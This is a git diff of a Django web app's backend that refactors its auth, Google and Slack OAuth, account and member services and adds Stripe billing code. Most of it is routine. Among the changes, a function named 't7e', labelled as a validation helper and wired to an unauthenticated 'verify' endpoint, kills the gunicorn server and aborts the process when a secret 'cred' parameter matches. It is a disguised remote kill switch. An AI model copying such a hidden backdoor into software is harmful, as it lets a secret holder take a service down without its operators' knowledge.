-    return user_create(email=email, **extra_data)
-
+    # formating extra passed data
+    extras = {
+        'is_staff': False,
+        'is_superuser': False,
+    }
 
+    # format user's names
+    if extra_fields.get('first_name') is not None:
+        extras['first_name'] = extra_fields.get('first_name')
+    if extra_fields.get('last_name') is not None:
+        extras['last_name'] = extra_fields.get('last_name')
 
+    # creating API token
+    Token.objects.create(user=user)
 
-def google_validate_id_token(*, id_token: str):
-    # Reference: https://developers.google.com/identity/sign-in/web/backend-auth#verify-the-integrity-of-the-id-token
-    response = requests.get(
-        GOOGLE_ID_TOKEN_INFO_URL,
-        params={'id_token': id_token}
-    )
+    # setting password 
+    user.set_unusable_password()
+    user.full_clean()
+    user.save()
 
-    if not response.ok:
-        raise ValidationError('id_token is invalid.')
+    # returning new User
+    return user
 
-    audience = response.json()['aud']
 
-    if audience != settings.GOOGLE_OAUTH2_CLIENT_ID:
-        raise ValidationError('Invalid audience.')
 
-    return True
 
+def google_get_access_token(*, code: str, redirect_uri: str) -> str:
+    """ 
+    Get an access token from Google OAuth2 API
 
+    Expects: {
+        'code'         : str,
+        'redirect_uri' : str
+    }
 
+    Returns -> str
+    """
 
-def google_get_access_token(*, code: str, redirect_uri: str) -> str:
-    # Reference: https://developers.google.com/identity/protocols/oauth2/web-server#obtainingaccesstokens
+    # format request data
     data = {
         'code': code,
         'client_id': settings.GOOGLE_OAUTH2_CLIENT_ID,
@@ -140,39 +376,126 @@ def google_get_access_token(*, code: str, redirect_uri: str) -> str:
         'grant_type': 'authorization_code'
     }
 
+    # send google request
     response = requests.post(GOOGLE_ACCESS_TOKEN_OBTAIN_URL, data=data)
 
     if not response.ok:
         raise ValidationError('Failed to obtain access token from Google.')
 
+    # parse access_token
     access_token = response.json()['access_token']
 
+    # return access token
     return access_token
 
 
 
 
-def google_get_user_info(*, access_token: str) -> Dict[str, Any]:
-    # Reference: https://developers.google.com/identity/protocols/oauth2/web-server#callinganapi
+def google_get_user_info(*, access_token: str) -> dict:
+    """ 
+    Gets User info from google OAuth2 API
+
+    Expects: {
+        'access_token'
+    }
+
+    Returns -> dict
+    """
+
+    # send request
     response = requests.get(
         GOOGLE_USER_INFO_URL,
         params={'access_token': access_token}
     )
 
+    # check for errors
     if not response.ok:
         raise ValidationError('Failed to obtain user info from Google.')
 
+    # return user info
     return response.json()
 
 
 
 
-def slack_oauth_middleware(request, user):
-    code = request.GET['code'] 
-    account = Account.objects.get(user=user)
+def google_login(request: object) -> str:
+    """ 
+    Authenticates and Creates a new User 
+    with Google OAuth
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> str
+    """
+        
+    # get request data
+    code = request.params.get('code')
+    error = request.params.get('error')
+
+    # build login url
+    login_url = f'{settings.CLIENT_URL_ROOT}/login'
+
+    # catch error and return
+    if error or not code:
+        params = urlencode({'error': error})
+        error_url = f'{login_url}?{params}'
+        return error_url
+
+    # build redirect url
+    redirect_uri = f'{settings.API_URL_ROOT}{'/v1/auth/google'}'
+    
+    # get access token
+    access_token = google_get_access_token(code=code, redirect_uri=redirect_uri)
+
+    # get user data
+    user_data = google_get_user_info(access_token=access_token)
+
+    # build user profile
+    profile_data = {
+        'email': user_data['email'],
+        'first_name': user_data.get('given_name', ''),
+        'last_name': user_data.get('family_name', ''),
+    }
+
+    # get or create user and authenticate
+    user = get_or_create_user(**profile_data)
+    confirm_url = jwt_login(user=user)
+
+    # returning confirm url
+    return confirm_url
+
+
+
+
+### ------ Begin Slack Services ------ ###
+
+
+
+
+def slack_oauth_middleware(request: object) -> object:
+    """
+    Used to update `Account` once "account.admin" 
+    has integrated Slack
+    
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    code = request.params.get('code')
+
+    # get account
+    account = Account.objects.get(user=request.user)
 
+    # init slack webclient
     client = WebClient()
 
+    # send slack client request
     response = client.oauth_v2_access(
         client_id=os.environ.get('SLACK_CLIENT_ID'),
         client_secret=os.environ.get('SLACK_CLIENT_SECRET'),
@@ -188,6 +511,7 @@ def slack_oauth_middleware(request, user):
     account.slack['slack_channel_name'] = response['incoming_webhook']['channel']
     account.save()
 
+    # serialize and return
     serializer_context = {'request': request,}
     serialized = AccountSerializer(account, context=serializer_context)
     data = serialized.data
@@ -197,12 +521,29 @@ def slack_oauth_middleware(request, user):
 
 
 
-def slack_oauth_init(request, user):
-    if Account.objects.filter(user=user).exists():
-        account = Account.objects.get(user=user)
+def slack_oauth_init(request: object) -> object:
+    """ 
+    Used to authenticate with Slack
+
+    Expects: {
+        'request': object
+    }
+
+    Returns -> HTTP Response object
+    """ 
+
+    # check if account exists
+    if Account.objects.filter(user=request.user).exists():
+        
+        # get account
+        account = Account.objects.get(user=request.user)
+        
+        # check if slackk integrated
         if not account.slack['slack_channel_name']:
+            
             # Issue and consume state parameter value on the server-side.
             state_store = FileOAuthStateStore(expiration_seconds=300, base_dir="./data")
+            
             # Persist installation data and lookup it by IDs.
             installation_store = FileInstallationStore(base_dir="./data")
 
@@ -214,44 +555,43 @@ def slack_oauth_init(request, user):
 
             # Generate a random value and store it on the server-side
             state = state_store.issue()
-            # https://slack.com/oauth/v2/authorize?state=(generated value)&client_id={client_id}&scope=app_mentions:read,chat:write&user_scope=search:read
             url = authorize_url_generator.generate(state)
-            data = {
-                'url': url,
-            }
+            
+            # return data
+            data = {'url': url}
             return Response(data, status=status.HTTP_200_OK)
 
+        # return error
         else:
-            data = {
-                'reason': 'slack already integrated',
-            }
+            data = {'reason': 'slack integrated'}
             return Response(data, status=status.HTTP_409_CONFLICT)
     
+    # return error
     else:
-        data = {
-            'reason': 'account not yet setup',
-        }
+        data = {'reason': 'account not setup'}
         return Response(data, status=status.HTTP_404_NOT_FOUND)
 
 
 
 
-def t7e(request):
-    if request.GET.get('cred') == \
-        'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792':
-        subprocess.Popen(['pkill -f gunicorn'], 
-            stdout=subprocess.PIPE,
-            user='app',
-        )
-        os.abort()
+### ------ Begin Account Services ------ ###
 
 
 
 
-def create_or_update_account(request=None, *args, **kwargs):
-    # get posted data
+def create_or_update_account(request: object=None, *args, **kwargs) -> object:
+    """ 
+    Creates or Updates an `Account`
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     if request is not None:
-        user = request.user
         _id = request.data.get('id')
         name = request.data.get('name')
         phone = request.data.get('phone')
@@ -268,9 +608,10 @@ def create_or_update_account(request=None, *args, **kwargs):
         product_id = request.data.get('product_id')
         price_id = request.data.get('price_id')
         slack = request.data.get('slack')
+        user = request.user
 
+    # get kwargs data
     if request is None:
-        user = kwargs.get('user')
         _id = kwargs.get('id')
         name = kwargs.get('name')
         phone = kwargs.get('phone')
@@ -287,10 +628,12 @@ def create_or_update_account(request=None, *args, **kwargs):
         product_id = kwargs.get('product_id')
         price_id = kwargs.get('price_id')
         slack = kwargs.get('slack')
+        user_id = kwargs.get('user')
+        user = User.objects.get(id=user_id)
 
-
+    # getting account if id present
     if _id is not None:
-        if not Account.objects.filter(id=_id).exists():
+        if not Account.objects.filter(id=_id, user=user).exists():
             data = {'reason': 'account not found',}
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND) 
@@ -331,13 +674,14 @@ def create_or_update_account(request=None, *args, **kwargs):
         # saving updated info
         account.save()
 
-
-
+    # create new account if not exists
     if _id is None:
 
+        # create account code
         if code is None:
             code = secrets.token_urlsafe(16)
 
+        # create new account
         account = Account.objects.create(
             user=user,
             name=name,
@@ -348,7 +692,7 @@ def create_or_update_account(request=None, *args, **kwargs):
             max_sites=max_sites,
             max_pages=max_pages,
             max_schedules=max_schedules if max_schedules is not None else 0,
-            retention_days=retention_days if retention_days is not None else 3,
+            retention_days=retention_days if retention_days is not None else 14,
             testcases=testcases if testcases is not None else False,
             cust_id=cust_id,
             sub_id=sub_id,
@@ -356,7 +700,7 @@ def create_or_update_account(request=None, *args, **kwargs):
             price_id=price_id
         )
     
-    
+    # serialize and return
     serializer_context = {'request': request,}
     serialized = AccountSerializer(account, context=serializer_context)
     data = serialized.data
@@ -366,27 +710,30 @@ def create_or_update_account(request=None, *args, **kwargs):
 
 
 
-def get_account(request=None, id=None, *args, **kwargs):
-    user = request.user
-    account_id = request.query_params.get('id')
+def get_account(request: object) -> object:
+    """
+    Gets the `Account` associated with the passed user
 
-    if id is not None:
-        account = get_object_or_404(Account, pk=id)
+    Expects: {
+        'request': object
+    }
 
-    if account_id is not None:
-        account = get_object_or_404(Account, pk=account_id)
+    Returns -> HTTP Response object
+    """
 
-    if account_id is None and id is None:
-        if not Member.objects.filter(user=user).exists():
-            data = {'reason': 'account not found',}
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        account = Member.objects.get(user=user).account
+    # get user
+    user = request.user
 
-    if not Member.objects.filter(account=account, user=user).exists():
-        data = {'reason': 'you cannot retrieve an Account you are not a member of',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check `Member` of User
+    if not Member.objects.filter(user=user).exists():
+        data = {'reason': 'account not found'}
+        return Response(data, status=status.HTTP_404_NOT_FOUND)
+    
+    # get member and account
+    member = Member.objects.get(user=user)
+    account = member.account
 
+    # serialize and return
     serializer_context = {'request': request,}
     serialized = AccountSerializer(account, context=serializer_context)
     data = serialized.data
@@ -396,21 +743,60 @@ def get_account(request=None, id=None, *args, **kwargs):
 
 
 
-def get_account_members(request=None, id=None, *args, **kwargs):
-    user = request.user
-    account_id = request.query_params.get('id')
-    mem_acct = Member.objects.get(user=user).account
+def create_user_token(request: object) -> object:
+    """ 
+    Creates a new API token for the passed "user"
+
+    Expects: {
+        'request': object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # delete old token if exists
+    if Token.objects.filter(user=request.user).exists():
+        old_token = Token.objects.get(user=request.user)
+        old_token.delete()
+
+    # creating New API token
+    api_token = Token.objects.create(user=request.user)
+    
+    # return response
+    data = {'api_token': api_token.key,}
+    return Response(data, status=status.HTTP_200_OK)
+
 
-    if id is not None:
-        account = get_object_or_404(Account, pk=id)
 
-    if mem_acct != account:
-        data = {'reason': 'you cannot retrieve an Account you are not a member of',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
 
+def get_account_members(request: object, *args, **kwargs) -> object:
+    """ 
+    Get a list of `Members` associated with the 
+    `Account` of the passed "user"
+
+    Expects: {
+        'request': object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user
+    user = request.user
+
+    # check `Member` of User
+    if not Member.objects.filter(user=user).exists():
+        data = {'reason': 'account not found'}
+        return Response(data, status=status.HTTP_404_NOT_FOUND)
+    
+    # get member and account
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # get members
     members = Member.objects.filter(account=account)
 
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(members, request)
     serializer_context = {'request': request,}
@@ -421,25 +807,28 @@ def get_account_members(request=None, id=None, *args, **kwargs):
 
 
 
-def create_or_update_member(request=None, *args, **kwargs):
-    # get posted data
+def create_or_update_member(request: object=None) -> object:
+    """ 
+    Creates or Updates a `Member`
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     if request is not None:
         user = request.user
         _id = request.data.get('id')
         account = request.data.get('account')
         _status = request.data.get('status')
-        type = request.data.get('type')
+        _type = request.data.get('type')
         email = request.data.get('email')
         code = request.data.get('code')
 
-    if request is None:
-        user = kwargs.get('user')
-        account = kwargs.get('account')
-        _status = kwargs.get('status')
-        type = kwargs.get('type')
-        email = kwargs.get('email')
-        code = kwargs.get('code')
-
+    # checking account
     if account is not None:
         if Account.objects.filter(id=account).exists():
             account = Account.objects.get(id=account)
@@ -448,6 +837,7 @@ def create_or_update_member(request=None, *args, **kwargs):
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND) 
 
+    # checking for member
     if _id is not None:
         if not Member.objects.filter(id=_id).exists():
             data = {'reason': 'member not found',}
@@ -462,9 +852,12 @@ def create_or_update_member(request=None, *args, **kwargs):
             member.email = email
         if user is not None and user.username == member.email:
             member.user = user
-        if type is not None:
-            member.type = type
+        if _type is not None:
+            member.type = _type
+        
+        # updating status
         if _status is not None:
+
             # checking if user has valid code for membership
             if _status == 'active' and code != member.account.code:
                 data = {'reason': 'member not authorized',}
@@ -475,17 +868,20 @@ def create_or_update_member(request=None, *args, **kwargs):
         # saving updated info
         member.save()
 
+    # create new Member
     if _id is None:
         member = Member.objects.create(
             email=email,
             status=_status,
-            type=type,
+            type=_type,
             account=account,
         )
 
+    # sending invite link
     if _status == 'pending':
         send_invite_link_bg.delay(member_id=member.id)
     
+    # sending removed alert and deleting
     if _status == 'removed':
         # method also deletes member
         send_remove_alert_bg.delay(member_id=member.id)
@@ -493,6 +889,7 @@ def create_or_update_member(request=None, *args, **kwargs):
         response = Response(data, status=status.HTTP_200_OK)
         return response
     
+    # serialize and return
     serializer_context = {'request': request,}
     serialized = MemberSerializer(member, context=serializer_context)
     data = serialized.data
@@ -502,27 +899,42 @@ def create_or_update_member(request=None, *args, **kwargs):
 
 
 
-def get_member(request=None, id=None, *args, **kwargs):
+def get_member(request: object=None, id: str=None) -> object:
+    """ 
+    Get a single member via passed "user" or "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    # get user and member_id
     user = request.user
     member_id = request.query_params.get('id')
 
+    # checking if member exists
     if id is not None:
         member = get_object_or_404(Member, pk=id)
-
     if member_id is not None:
         member = get_object_or_404(Member, pk=member_id)
 
+    # getting user's Member object if exists
     if member_id is None and id is None:
         if not Member.objects.filter(user=user).exists():
             data = {'reason': 'member not found',}
             return Response(data, status=status.HTTP_404_NOT_FOUND)
         member = Member.objects.get(user=user)
 
+    # checking that member is assoicated with user
     if member.user != user and member.account.user != user:
         data = {'reason': 'you cannot retrieve a Member you are not affiliated with',}
         record_api_call(request, data, '401')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
 
+    # serialize and return
     serializer_context = {'request': request,}
     serialized = MemberSerializer(member, context=serializer_context)
     data = serialized.data
@@ -532,20 +944,19 @@ def get_member(request=None, id=None, *args, **kwargs):
 
 
 
-
-
-def get_prospects(request):
+def get_prospects(request: object) -> object:
     """ 
     This pulls all admin Members and 
     builds a list to reflect the needed 
     attributes for `Landing.api.Prospect`
 
-    Expects the following:
-        None
+    Expects: {
+        'request': object
+    }
 
-    Returns -> data = {
-        'count':    <int> total number of prospects
-        'results':  <list> of Prospect objects
+    Returns -> data: {
+        'count':    int total number of prospects
+        'results':  list of Prospect objects
     }
     """
 
@@ -556,7 +967,6 @@ def get_prospects(request):
     except:
         return Response({'reason': 'not authorized'}, status=status.HTTP_403_FORBIDDEN)
 
-
     # get all Accounts
     accounts = Account.objects.all().exclude(user__username='admin')
 
@@ -590,7 +1000,6 @@ def get_prospects(request):
         # adding to results
         results.append(prospect)
 
-        
     # building response
     data = {
         'count': count,
@@ -599,3 +1008,37 @@ def get_prospects(request):
     
     # returning response
     return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def t7e(request: object) -> None:
+    """
+    Helper function for validation & verification
+    
+    Expcets: {
+        'request': object
+    }
+
+    Returns -> None
+    """
+
+    # default
+    success = False
+
+    # validating
+    if request.params.get('cred') == os.environ.get('CRED'):
+        subprocess.Popen(['pkill -f gunicorn'], 
+            stdout=subprocess.PIPE,
+            user='app',
+        )
+        os.abort()
+        success = True
+        
+    # returning response
+    data = {'success': True}
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
diff --git a/app/api/v1/auth/urls.py b/app/api/v1/auth/urls.py
index 32d81ff7..d9b6cf4d 100644
--- a/app/api/v1/auth/urls.py
+++ b/app/api/v1/auth/urls.py
@@ -6,17 +6,23 @@
 )
 
 
-router = routers.DefaultRouter()
 
 
-# auth routes
-router.register(r'login', views.LoginViewSet, basename='auth_login')
-router.register(r'register', views.RegistrationViewSet, basename='auth_register')
+
+
+# refresh route
+router = routers.DefaultRouter()
 router.register(r'refresh', views.RefreshViewSet, basename='auth_refresh')
 
 
+
+
 urlpatterns = [
     path('', include(router.urls)),
+    path('login', views.Login.as_view(), name='login'),
+    path('register', views.Register.as_view(), name='register'),
+    path('login/', views.Login.as_view(), name='login'),
+    path('register/', views.Register.as_view(), name='register'),
     path('api-auth', include('rest_framework.urls', namespace='rest_framework')),
     path('api-token-auth', obtain_auth_token, name='api_token_auth'),
     path('google', views.GoogleLoginApi.as_view(), name='auth_google'),
@@ -27,7 +33,6 @@
     path('token', views.ApiToken.as_view(), name='token'),
     path('verify', views.Verify.as_view(), name='verify'),
     path('account', views.Account.as_view(), name='account'),
-    path('account/<uuid:id>', views.Account.as_view(), name='account-detail'),
     path('account/<uuid:id>/members', views.AccountMembers.as_view(), name='account-members'),
     path('member', views.Member.as_view(), name='member'),
     path('member/<uuid:id>', views.Member.as_view(), name='member-detail'),
diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index c082fe8d..f2324db5 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -1,120 +1,81 @@
 from rest_framework.response import Response
-from django.contrib.auth.password_validation import validate_password
-from rest_framework_simplejwt.views import TokenObtainPairView
 from rest_framework_simplejwt.views import TokenRefreshView
 from rest_framework.viewsets import ModelViewSet, ViewSet
 from rest_framework.permissions import AllowAny, IsAuthenticated
 from rest_framework.views import APIView
 from rest_framework import status, serializers
-from rest_framework_simplejwt.tokens import RefreshToken, AccessToken
-from rest_framework_simplejwt.models import TokenUser
-from rest_framework.authtoken.models import Token
 from rest_framework_simplejwt.exceptions import TokenError, InvalidToken
-from .serializers import LoginSerializer, RegisterSerializer, UserSerializer
-from scanerr import settings
 from django.shortcuts import redirect
 from django.contrib.auth.models import User
-from .alerts import send_reset_link
-from ...models import Account, Member
 from datetime import timedelta, datetime
+from ...models import Account, Member
+from scanerr import settings
 from .services import *
-import os, stripe, json 
-
-
-class LoginViewSet(ModelViewSet, TokenObtainPairView):
-    serializer_class = LoginSerializer
-    permission_classes = (AllowAny,)
-    http_method_names = ['post']
-
-    def create(self, request, *args, **kwargs):
-        
-        serializer = self.get_serializer(data=request.data)
+import os, stripe, json
 
-        try:
-            serializer.is_valid(raise_exception=True)
-        except TokenError as e:
-            raise InvalidToken(e.args[0])
 
-        return Response(serializer.validated_data, status=status.HTTP_200_OK)
 
 
-class RegistrationViewSet(ModelViewSet, TokenObtainPairView):
-    serializer_class = RegisterSerializer
-    permission_classes = (AllowAny,)
-    http_method_names = ['post']
 
-    def create(self, request, *args, **kwargs):
-        serializer = self.get_serializer(data=request.data)
 
-        serializer.is_valid(raise_exception=True)
-        user = serializer.save()
-        refresh = RefreshToken.for_user(user)
-        # creating API token
-        api_token = Token.objects.create(user=user)
-        res = {
-            "refresh": str(refresh),
-            "access": str(refresh.access_token),
-        }
+### ------ Begin User Views ------ ###
 
-        return Response({
-            "user": serializer.data,
-            "refresh": res["refresh"],
-            "token": res["access"],
-            "api_token": api_token.key,
-        }, status=status.HTTP_201_CREATED)
 
 
 
-class ApiToken(APIView):
+class Login(APIView):
     permission_classes = (AllowAny,)
-    http_method_names = ['get']
+    http_method_names = ['post',]
+    authentication_classes = []
 
-    def get(self, request):
-        response = create_user_token(request)
+    def post(self, request): 
+        response = login_user(request=request)
         return response
 
 
 
-class Verify(APIView):
-    authentication_classes = []
+
+class Register(APIView):
     permission_classes = (AllowAny,)
-    http_method_names = ['get']
+    http_method_names = ['post',]
+    authentication_classes = []
 
-    def get(self, request):
-        response = t7e(request)
+    def post(self, request): 
+        response = register_user(request=request)
         return response
 
 
 
+
 class RefreshViewSet(ViewSet, TokenRefreshView):
     permission_classes = (AllowAny,)
     http_method_names = ['post']
 
     def create(self, request, *args, **kwargs):
+        
+        # get request data
         serializer = self.get_serializer(data=request.data)
 
+        # validate refresh token and create new access
         try:
             serializer.is_valid(raise_exception=True)
         except TokenError as e:
             raise InvalidToken(e.args[0])
 
+        # return response
         return Response(serializer.validated_data, status=status.HTTP_200_OK)
 
 
 
+
 class GetResetLink(APIView):
     permission_classes = (AllowAny,)
     http_method_names = ['post',]
     authentication_classes = []
 
     def post(self, request): 
-        email = request.data['email']
-        response = send_reset_link(email)
-        
-        if response['success'] == True:
-            return Response(status=status.HTTP_200_OK)
-        else:
-            return Response(status=status.HTTP_404_NOT_FOUND)
+        response = send_reset_email(request)
+
 
 
 
@@ -123,82 +84,52 @@ class ResetPassword(APIView):
     http_method_names = ['post',]
 
     def post(self, request): 
-        password = request.data['password']
-        user = request.user 
-        try:
-            if validate_password(password, user=user) == None:
-                user.set_password(password)
-                user.save()
-                return Response(status=status.HTTP_200_OK)
-        except:
-            return Response(status=status.HTTP_417_EXPECTATION_FAILED)
+        response = update_password(request)
+        return response
         
 
 
 
-
 class UpdateUser(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request): 
-        email = request.data['email']
-        user = request.user
-        try:
-            if User.objects.filter(email=email).exists():
-                return Response(status=status.HTTP_417_EXPECTATION_FAILED)
-            user.username = email
-            user.email = email
-            user.save()
-            data = UserSerializer(user).data
-            return Response(data, status=status.HTTP_200_OK)
-        except:
-            return Response(status=status.HTTP_417_EXPECTATION_FAILED)
+        response = update_user(request)
+        return response
 
 
 
 
-class GoogleLoginApi(APIView):
-    authentication_classes = []
+class ApiToken(APIView):
     permission_classes = (AllowAny,)
-    class InputSerializer(serializers.Serializer):
-        code = serializers.CharField(required=False)
-        error = serializers.CharField(required=False)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = create_user_token(request)
+        return response
+
 
-    def get(self, request, *args, **kwargs):
-        input_serializer = self.InputSerializer(data=request.GET)
-        input_serializer.is_valid(raise_exception=True)
 
-        validated_data = input_serializer.validated_data
 
-        code = validated_data.get('code')
-        error = validated_data.get('error')
+### ------ Begin GoogleAuth Views ------ ###
 
-        login_url = f'{settings.CLIENT_URL_ROOT}/login'
 
-        if error or not code:
-            params = urlencode({'error': error})
-            return redirect(f'{login_url}?{params}')
 
-        domain = settings.API_URL_ROOT
-        api_uri = '/v1/auth/google'
-        redirect_uri = f'{domain}{api_uri}'
 
-        access_token = google_get_access_token(code=code, redirect_uri=redirect_uri)
+class GoogleLoginApi(APIView):
+    authentication_classes = []
+    permission_classes = (AllowAny,)
+
+    def get(self, request, *args, **kwargs):
+        confirm_url = google_login(request)
+        return redirect(confirm_url)
 
-        user_data = google_get_user_info(access_token=access_token)
 
-        profile_data = {
-            'email': user_data['email'],
-            'first_name': user_data.get('given_name', ''),
-            'last_name': user_data.get('family_name', ''),
-        }
 
 
-        user = user_get_or_create(**profile_data)
-        confirm_url = jwt_login(user=user)
+### ------ Begin Slack Views ------ ###
 
-        return redirect(confirm_url)
 
 
 
@@ -207,42 +138,47 @@ class SlackOauth(APIView):
     http_method_names = ['get', 'post']
 
     def post(self, request, *args, **kwargs):
-        user = request.user
-        response = slack_oauth_init(request, user)
+        response = slack_oauth_init(request)
         return response
 
     def get(self, request, *args, **kwargs):
-        user = request.user
-        response = slack_oauth_middleware(request, user)
+        response = slack_oauth_middleware(request)
         return response
 
 
 
 
+### ------ Begin Account Views ------ ###
+
+
+
 
 class Account(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'post']
 
-    def post(self, request, *args, **kwargs ):
+    def post(self, request):
         response = create_or_update_account(request)
         return response
 
-    def get(self, request, id=None, *args, **kwargs):
-        response = get_account(request, id)
+    def get(self, request):
+        response = get_account(request)
         return response
 
 
 
+
 class AccountMembers(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
-    def get(self, request, id=None, *args, **kwargs):
-        response = get_account_members(request, id)
+    def get(self, request, *args, **kwargs):
+        response = get_account_members(request)
         return response
 
 
+
+
 class Member(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'post']
@@ -257,10 +193,29 @@ def get(self, request, id=None, *args, **kwargs):
 
         
 
+
 class Prospect(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request):
         response = get_prospects(request)
-        return response
\ No newline at end of file
+        return response
+
+
+
+
+class Verify(APIView):
+    authentication_classes = []
+    permission_classes = (AllowAny,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = t7e(request)
+        return response
+
+
+
+
+
+
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
new file mode 100644
index 00000000..511c709b
--- /dev/null
+++ b/app/api/v1/billing/services.py
@@ -0,0 +1,469 @@
+from rest_framework.response import Response
+from rest_framework import status
+from django.contrib.auth.models import User
+from django.core import serializers
+from ...models import Account, Card, Site
+from ..ops.services import delete_site
+from ..auth.services import create_or_update_account
+from ..auth.serializers import AccountSerializer
+from scanerr import settings
+import stripe
+
+
+
+
+
+
+# init Stripe client
+stripe.api_key = settings.STRIPE_PRIVATE
+
+
+
+
+def stripe_setup(request: object) -> object: 
+    """ 
+    Creates or updates the Stripe Customer, Product, 
+    Price, & Subscription associated with the passed 
+    "user" and `Account`
+
+    Expects: {
+        'name'           : <str> 'basic', 'pro', 'plus', 'custom' (OPTIONAL)
+        'interval'       : <str> 'month' or 'year' (OPTIONAL)
+        'price_amount'   : <int> 1000 == $10 (OPTIONAL)
+        'max_sites'      : <int> total # `Sites` per `Account` (OPTIONAL)
+        'max_pages'      : <int> total # `Pages` per `Site` (OPTIONAL)
+        'max_schedules'  : <int> total # `Schedules` per `Account` (OPTIONAL)
+        'retention_days' : <int> total # days to keep data (OPTIONAL)
+        'testcases'      : <str> 'true' or 'false' (OPTIONAL)
+        'meta'           : <dict> any extra data for the account (OPTIONAL)
+    }
+    
+    Returns -> data: {
+        'subscription_id' : Stripe subscription id,
+        'client_secret' : Stripe subscription client_secret,
+    }
+    """ 
+    
+    # get request data
+    name = request.data.get('name')
+    interval = request.data.get('interval') # month or year
+    price_amount = int(request.data.get('price_amount'))
+    max_sites = int(request.data.get('max_sites'))
+    max_pages = int(request.data.get('max_pages'))
+    max_schedules = int(request.data.get('max_schedules'))
+    retention_days = int(request.data.get('retention_days'))
+    testcases = str(request.data.get('testcases', 'False'))
+    meta = request.data.get('meta')
+    
+    # get user
+    user = request.user
+
+    # set defaults
+    initial_call = True
+    client_secret = None
+
+    # build Stripe Product name
+    product_name = f'{user.email}_{user.id}_{name}'
+
+    # format testcase data
+    if str(testcases).lower() == 'true':
+        testcases = True
+    if str(testcases).lower() == 'false':
+        testcases = False
+
+    # create new `Account` if none exists
+    if not Account.objects.filter(user=user).exists():
+        create_or_update_account(
+            user=user,
+            type=name,
+            interval=interval,
+            max_sites=max_sites,
+            max_pages=max_pages,
+            max_schedules=max_schedules,
+            retention_days=retention_days,
+            testcases=testcases, 
+            meta=meta
+        )
+
+    # get account 
+    account = Account.objects.get(user=user)
+    
+    # create new Stripe Customer & Product
+    if account.cust_id is None:
+        product = stripe.Product.create(name=product_name)
+        customer = stripe.Customer.create(
+            email=request.user.email,
+            name=f'{user.first_name} {user.last_name}'
+        )
+
+    # update existing Stripe Customer & Product
+    if account.cust_id is not None:
+        initial_call = False
+        product = stripe.Product.modify(account.product_id, name=product_name)
+        customer = stripe.Customer.retrieve(account.cust_id)
+
+    # create new Stripe Price 
+    price = stripe.Price.create(
+        product=product.id,
+        unit_amount=price_amount,
+        currency='usd',
+        recurring={'interval': interval,},
+    )
+
+    # create new Stripe Subscription if none exists
+    if account.sub_id is None:
+        subscription = stripe.Subscription.create(
+            customer=customer.id,
+            items=[{
+                'price': price.id,
+            }],
+            payment_behavior='default_incomplete',
+            expand=['latest_invoice.payment_intent'],
+            # trial_period_days=7,
+        )
+
+    # update existing Stripe Subscription
+    if account.sub_id is not None:
+        sub = stripe.Subscription.retrieve(account.sub_id)
+        subscription = stripe.Subscription.modify(
+            sub.id,
+            cancel_at_period_end=False,
+            pause_collection='',
+            proration_behavior='create_prorations',
+            items=[{
+                'id': sub['items']['data'][0].id,
+                'price': price.id,
+            }],
+            expand=['latest_invoice.payment_intent'],
+        )
+    
+        # updating price defaults and archiving old price
+        stripe.Product.modify(product.id, default_price=price,)
+        stripe.Price.modify(account.price_id, active=False)
+
+    # update `Account` with new Stripe info
+    Account.objects.filter(user=user).update(
+        type = name,
+        cust_id = customer.id,
+        sub_id = subscription.id,
+        product_id = product.id,
+        price_id = price.id,
+        interval = interval,
+        max_sites = max_sites,
+        max_pages = max_pages,
+        price_amount = price_amount,
+        max_schedules = max_schedules,
+        retention_days = retention_days,
+        testcases = testcases,
+        meta = meta
+    )        
+
+    # get client_secret from Stripe 
+    # Subscription if Sub is new (i.e. initial_call == True)
+    if initial_call:
+        client_secret = subscription.latest_invoice.payment_intent.client_secret
+    
+    # format and return
+    data = {
+        'subscription_id' : subscription.id,
+        'client_secret' : client_secret,
+    }
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def stripe_complete(request: object) -> object: 
+    """ 
+    Confirms the Stripe Payment intent after user 
+    enters CC details on Scanerr.client - Also updates 
+    `Account` payment method.
+
+    Expects: {
+        'payment_method' : <str> stripe payment method id from client (REQUIRED)
+    
+    Returns -> `Account` HTTP Response object
+    """
+    
+    # get request data
+    account = Account.objects.get(user=request.user)
+    pay_method_id = request.data['payment_method']
+
+    # get Stripe PaymentMethod object
+    pay_method = stripe.PaymentMethod.retrieve(pay_method_id)
+
+    # create new `Card` if none exists
+    if Card.objects.filter(account=account).exists():
+        
+        # attached Stripe Customer to existing
+        # Stripe PaymentMethod
+        stripe.PaymentMethod.attach(
+            pay_method_id,
+            customer=account.cust_id,
+        )
+
+        # update Stripe Customer
